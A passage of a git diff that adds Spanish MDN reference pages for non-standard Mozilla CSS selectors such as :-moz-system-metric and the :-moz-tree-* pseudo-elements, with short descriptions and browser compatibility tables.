+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/_colon_-moz-system-metric(scrollbar-end-forward)/index.html b/files/es/web/css/_colon_-moz-system-metric(scrollbar-end-forward)/index.html
new file mode 100644
index 0000000000..2712092b3c
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-system-metric(scrollbar-end-forward)/index.html
@@ -0,0 +1,73 @@
+---
+title: ':-moz-system-metric(scrollbar-end-forward)'
+slug: 'Web/CSS/:-moz-system-metric(scrollbar-end-forward)'
+tags:
+  - CSS
+  - NeedsContent
+  - NeedsExample
+  - No estándar(2)
+  - Pseudo clase CSS
+  - Referencia CSS
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/scrollbar-end-forward'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase </a><a href="/es/docs/Web/CSS">CSS </a><code>:-moz-system-metric(scrollbar-end-forward)</code> seleccionará un elemento si el interfaz de usuario del equpo incluye una flecha hacia adelante al final de las barras de desplazamiento o barras de scroll.</p>
+
+<p>Está pensado sobre todo para desarrolldores de temas.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/_colon_-moz-system-metric(scrollbar-start-backward)/index.html b/files/es/web/css/_colon_-moz-system-metric(scrollbar-start-backward)/index.html
new file mode 100644
index 0000000000..a3a5c21e82
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-system-metric(scrollbar-start-backward)/index.html
@@ -0,0 +1,73 @@
+---
+title: ':-moz-system-metric(scrollbar-start-backward)'
+slug: 'Web/CSS/:-moz-system-metric(scrollbar-start-backward)'
+tags:
+  - CSS
+  - NeedsContent
+  - NeedsExample
+  - No estándar(2)
+  - Pseudo clase CSS
+  - Referencia CSS
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/scrollbar-start-backward'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/s/docs/Web/CSS/Pseudo-classes">pseudo-clase </a><a href="/es/docs/Web/CSS">CSS</a><code>:-moz-system-metric(scrollbar-start-backward)</code> seleccionará un elemento si el interfaz de usuario del equipo incluye una flecha hacia atrás al principio de las barras de desplazamiento o barras de scroll.</p>
+
+<p>Este selector está pensado sobre todo para desarrolladores de temas.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de niguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/_colon_-moz-system-metric(scrollbar-start-forward)/index.html b/files/es/web/css/_colon_-moz-system-metric(scrollbar-start-forward)/index.html
new file mode 100644
index 0000000000..f309dabd5c
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-system-metric(scrollbar-start-forward)/index.html
@@ -0,0 +1,73 @@
+---
+title: ':-moz-system-metric(scrollbar-start-forward)'
+slug: 'Web/CSS/:-moz-system-metric(scrollbar-start-forward)'
+tags:
+  - CSS
+  - NeedsContent
+  - NeedsExample
+  - No estándar(2)
+  - Pseudo clase CSS
+  - Referencia CSS
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/scrollbar-start-forward'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase </a><a href="/es/docs/Web/CSS">CSS</a><code>:-moz-system-metric(scrollbar-start-forward)</code> seleccionará un elemento si el interfaz de usuario del equipo incluye una flecha hacia atrás al principio de las barras de desplazamiento o barras de scroll.</p>
+
+<p>Este selector está pensado sobre todo para desarrolladores de temas.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/_colon_-moz-system-metric(scrollbar-thumb-proportional)/index.html b/files/es/web/css/_colon_-moz-system-metric(scrollbar-thumb-proportional)/index.html
new file mode 100644
index 0000000000..1cbef2d0ec
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-system-metric(scrollbar-thumb-proportional)/index.html
@@ -0,0 +1,73 @@
+---
+title: ':-moz-system-metric(scrollbar-thumb-proportional)'
+slug: 'Web/CSS/:-moz-system-metric(scrollbar-thumb-proportional)'
+tags:
+  - CSS
+  - NeedsContent
+  - NeedsExample
+  - No estándar(2)
+  - Pseudo clase CSS
+  - Referencia CSS
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/scrollbar-thumb-proportional'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase </a><a href="/es/docs/Web/CSS">CSS</a><code>:-moz-system-metric(scrollbar-thumb-proportional)</code> seleccionará un elemento si el interfaz de usuario del equipo proporciona miniaturas (thumbnails) proporcionales en las barras de desplazamiento o barras de scroll; es decir, la miniatura o parte arrastrable en la barra de desplazamiento cambia de tamaño para indicar el tamaño relativo del área visible del documento.</p>
+
+<p>Está pensado sobre todo para desarrolladores de temas.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/_colon_-moz-system-metric(touch-enabled)/index.html b/files/es/web/css/_colon_-moz-system-metric(touch-enabled)/index.html
new file mode 100644
index 0000000000..5ee2a63aa2
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-system-metric(touch-enabled)/index.html
@@ -0,0 +1,73 @@
+---
+title: ':-moz-system-metric(touch-enabled)'
+slug: 'Web/CSS/:-moz-system-metric(touch-enabled)'
+tags:
+  - CSS
+  - NeedsContent
+  - NeedsExample
+  - No estándar(2)
+  - Pseudo clase CSS
+  - Referencia CSS
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/touch-enabled'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La   <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase </a><a href="/es/docs/Web/CSS">CSS</a><code> :-moz-system-metric(touch-enabled)</code> seleccionará un elemento si el dispositivo en el cuál se está mostrando el contenido soporta un interfaz táctil.</p>
+
+<div class="note"><strong>Nota:</strong> No está pensado para contenido web. Para eso se debería usar la consulta de medios  (media query) <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries#-moz-touch-enabled" title="https://developer.mozilla.org/En/CSS/Media_queries#-moz-touch-enabled"><code>-moz-touch-enabled</code></a></div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <td>Característica</td>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/_colon_-moz-system-metric(windows-default-theme)/index.html b/files/es/web/css/_colon_-moz-system-metric(windows-default-theme)/index.html
new file mode 100644
index 0000000000..8d134cb531
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-system-metric(windows-default-theme)/index.html
@@ -0,0 +1,113 @@
+---
+title: ':-moz-system-metric(windows-default-theme)'
+slug: 'Web/CSS/:-moz-system-metric(windows-default-theme)'
+tags:
+  - CSS
+  - NeedsMobileBrowserCompatibility
+  - No estándar(2)
+  - Psuedo clase CSS
+  - Referencia CSS
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/windows-default-theme'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a><code> CSS :-moz-system-metric(windows-default-theme)</code>  selecciona un elemento si el usuario está usando en esos momento uno de los siguientes temas de Windows: Luna, Royale, Zune, or Aero (por ejemplo  Vista Basic, Vista Standard, or Aero Glass). Esto excluye los temas clásicos de Windows y los temas realizados por terceros.</p>
+
+<p>Este selector está pensado sobre todo para desarrolladores de temas.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;p id="defaultThemes"&gt;
+  Este párrafo debería tener un fondo verde con los temas de Windows Luna/Royale/Zune/Aero
+  y un fondo rojo con otros temas.
+&lt;/p&gt;
+
+&lt;p id="nonDefaultThemes"&gt;
+  Este párrafo debería tener fondo verde con el tema clásico de Window o con temas de terceros
+  y fondo rojo con otros temas
+&lt;/p&gt;
+
+&lt;p id="notSupported"&gt;La detección de temas no está soportada.&lt;/p&gt;</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">#defaultThemes,
+#nonDefaultThemes {
+  background-color: #FFA0A0;
+}
+
+#defaultThemes:-moz-system-metric(windows-default-theme) {
+  background-color: #A0FFA0;
+}
+
+#nonDefaultThemes:not(-moz-system-metric(windows-default-theme)) {
+  background-color: #A0FFA0;
+}
+
+#notSupported:-moz-system-metric(windows-default-theme),
+#notSupported:not(:-moz-system-metric(windows-default-theme)) {
+  display: none;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", "100%", 170)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implementando en {{Bug("426660")}}. Cambió el comportamiento de los temas  Royale y Zone para que funcionaran igual que el tema Luna {{Bug("429176")}}.</p>
diff --git a/files/es/web/css/_colon_-moz-tree-cell-text(hover)/index.html b/files/es/web/css/_colon_-moz-tree-cell-text(hover)/index.html
new file mode 100644
index 0000000000..c0ef648273
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-cell-text(hover)/index.html
@@ -0,0 +1,19 @@
+---
+title: ':-moz-tree-cell-text(hover)'
+slug: 'Web/CSS/:-moz-tree-cell-text(hover)'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-cell-text(hover)'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header(1.9)}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a> <code>:-moz-tree-cell-text(hover)</code> seleccionará un elemento si el cursor del ratón está actualmente sobre el texto en una celda o elemento del árbol</p>
+
+<p>Está pensado principalmente para desarrolladores.</p>
diff --git a/files/es/web/css/_colon_-moz-tree-cell-text/index.html b/files/es/web/css/_colon_-moz-tree-cell-text/index.html
new file mode 100644
index 0000000000..c6dcc5f378
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-cell-text/index.html
@@ -0,0 +1,30 @@
+---
+title: ':-moz-tree-cell-text'
+slug: 'Web/CSS/:-moz-tree-cell-text'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-cell-text'
+---
+<p>{{Non-standard_header}}{{CSSRef}}</p>
+
+<p>Activado por el atributo  <code>properties</code>.</p>
+
+<h2 id="Elementos_asociados">Elementos asociados</h2>
+
+<ul>
+ <li>{{XULElem("treecell")}}</li>
+</ul>
+
+<h2 id="Propiedades_de_estilo">Propiedades de estilo</h2>
+
+<ul>
+ <li>{{cssxref("font")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("text-decoration")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-tree-cell/index.html b/files/es/web/css/_colon_-moz-tree-cell/index.html
new file mode 100644
index 0000000000..cf8ee0162c
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-cell/index.html
@@ -0,0 +1,38 @@
+---
+title: ':-moz-tree-cell'
+slug: 'Web/CSS/:-moz-tree-cell'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-cell'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Activado por el attributo  <code>properties.</code></p>
+
+<h2 id="Elementos_asociados">Elementos asociados</h2>
+
+<ul>
+ <li>{{XULElem("treecell")}}</li>
+</ul>
+
+<h2 id="Propiedades_de_estilo">Propiedades de estilo</h2>
+
+<ul>
+ <li>{{cssxref("background")}}</li>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("outline")}}</li>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+</ul>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li><a href="/docs/Mozilla/Tech/XUL/Tutorial/Styling_a_Tree">Dándo estilo a un árbol</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-tree-column/index.html b/files/es/web/css/_colon_-moz-tree-column/index.html
new file mode 100644
index 0000000000..62376be975
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-column/index.html
@@ -0,0 +1,29 @@
+---
+title: ':-moz-tree-column'
+slug: 'Web/CSS/:-moz-tree-column'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-column'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Activado por el atributo  <code>properties</code>.</p>
+
+<h2 id="Elementos_asociados">Elementos asociados</h2>
+
+<ul>
+ <li>{{XULElem("treecol")}}</li>
+</ul>
+
+<h2 id="Propiedades_de_estilo">Propiedades de estilo</h2>
+
+<ul>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("text style")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-tree-drop-feedback/index.html b/files/es/web/css/_colon_-moz-tree-drop-feedback/index.html
new file mode 100644
index 0000000000..320955cddf
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-drop-feedback/index.html
@@ -0,0 +1,29 @@
+---
+title: ':-moz-tree-drop-feedback'
+slug: 'Web/CSS/:-moz-tree-drop-feedback'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Pseudo clase
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-drop-feedback'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Activado por el atributo <code>properties</code>.</p>
+
+<h2 id="Elementos_asociados">Elementos asociados</h2>
+
+<ul>
+ <li>{{XULElem("treerow")}}</li>
+</ul>
+
+<h2 id="Propiedades_de_estilo">Propiedades de estilo</h2>
+
+<ul>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-tree-image/index.html b/files/es/web/css/_colon_-moz-tree-image/index.html
new file mode 100644
index 0000000000..65e270ddb5
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-image/index.html
@@ -0,0 +1,34 @@
+---
+title: ':-moz-tree-image'
+slug: 'Web/CSS/:-moz-tree-image'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsLiveSample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/:-moz-tree-image'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Activado por el atributo <code>properties</code>.</p>
+
+<h2 id="Elementos_asociados">Elementos asociados</h2>
+
+<ul>
+ <li>{{XULElem("treeitem")}}</li>
+ <li>{{XULElem("treecell")}}</li>
+</ul>
+
+<h2 id="Propiedades_de_estilo">Propiedades de estilo</h2>
+
+<ul>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("list-style")}}</li>
+ <li>{{cssxref("position")}}</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p><a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=610762&amp;sid=2aa24bf393171dd0c9bd9343b3d355c3">Bookmark icons in the Places window - Mozillazine Forum</a></p>
diff --git a/files/es/web/css/_colon_-moz-tree-indentation/index.html b/files/es/web/css/_colon_-moz-tree-indentation/index.html
new file mode 100644
index 0000000000..bce9310aaf
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-indentation/index.html
@@ -0,0 +1,27 @@
+---
+title: ':-moz-tree-indentation'
+slug: 'Web/CSS/:-moz-tree-indentation'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-indentation'
+---
+<p>{{CSSRef}}{{Non-standard_header}}</p>
+
+<p>Activado por el atributo <code>properties</code>.</p>
+
+<h2 id="Elementos_asociados">Elementos asociados</h2>
+
+<ul>
+ <li>{{XULElem("treeitem")}}</li>
+</ul>
+
+<h2 id="Propiedades_de_estilo">Propiedades de estilo</h2>
+
+<ul>
+ <li>{{cssxref("position")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-tree-line/index.html b/files/es/web/css/_colon_-moz-tree-line/index.html
new file mode 100644
index 0000000000..67d05a7b74
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-line/index.html
@@ -0,0 +1,28 @@
+---
+title: ':-moz-tree-line'
+slug: 'Web/CSS/:-moz-tree-line'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-line'
+---
+<p>{{Non-standard_header}}{{CSSRef}}</p>
+
+<p>Activado por el atributo <code>properties</code>.</p>
+
+<h2 id="Elementos_asociados">Elementos asociados</h2>
+
+<ul>
+ <li>{{XULElem("treeitem")}}</li>
+</ul>
+
+<h2 id="Propiedades_de_estilo">Propiedades de estilo</h2>
+
+<ul>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-tree-progressmeter/index.html b/files/es/web/css/_colon_-moz-tree-progressmeter/index.html
new file mode 100644
index 0000000000..57cdb929bd
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-progressmeter/index.html
@@ -0,0 +1,28 @@
+---
+title: ':-moz-tree-progressmeter'
+slug: 'Web/CSS/:-moz-tree-progressmeter'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-progressmeter'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Activado cuando al atributo <code>type</code> se le da el valor <code>progressmeter</code>.</p>
+
+<h2 id="Elementos_asociados">Elementos asociados</h2>
+
+<ul>
+ <li>{{XULElem("treecell")}}</li>
+</ul>
+
+<h2 id="Propiedades_de_estilo">Propiedades de estilo</h2>
+
+<ul>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("color")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-tree-row(hover)/index.html b/files/es/web/css/_colon_-moz-tree-row(hover)/index.html
new file mode 100644
index 0000000000..6a5a723a12
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-row(hover)/index.html
@@ -0,0 +1,19 @@
+---
+title: ':-moz-tree-row(hover)'
+slug: 'Web/CSS/:-moz-tree-row(hover)'
+tags:
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Pseudo clase CSS
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-row(hover)'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{Fx_minversion_header(3)}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La   <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a> <code>:-moz-tree-row(hover)</code> seleccionará un elemento si el cursor del ratón está sobre una fila de un árbol.</p>
+
+<p>Está pensado principalmente para ser usado por desarrolladores de temas.</p>
diff --git a/files/es/web/css/_colon_-moz-tree-row/index.html b/files/es/web/css/_colon_-moz-tree-row/index.html
new file mode 100644
index 0000000000..b334d502f9
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-tree-row/index.html
@@ -0,0 +1,50 @@
+---
+title: ':-moz-tree-row'
+slug: 'Web/CSS/:-moz-tree-row'
+tags:
+  - CSS
+  - No estandar
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-row'
+---
+<p>{{CSSRef}}{{Non-standard_header}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El  <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento</a><code>::-moz-tree-row</code> CSS  se usa para seleccionar filas y para aplicar estilos a las filas de los árboles.</p>
+
+<h2 id="Elementos_asociados">Elementos asociados</h2>
+
+<ul>
+ <li>{{XULElem("treerow")}}</li>
+</ul>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">treechildren::-moz-tree-row {<em>propiedades de estilo</em> }
+</pre>
+
+<h2 id="Propiedades_de_estilo">Propiedades de estilo</h2>
+
+<ul>
+ <li>{{cssxref("background")}}</li>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("outline")}}</li>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("display")}}</li>
+ <li>{{cssxref("-moz-appearance")}}</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:css">treechildren::-moz-tree-row( foo bar )
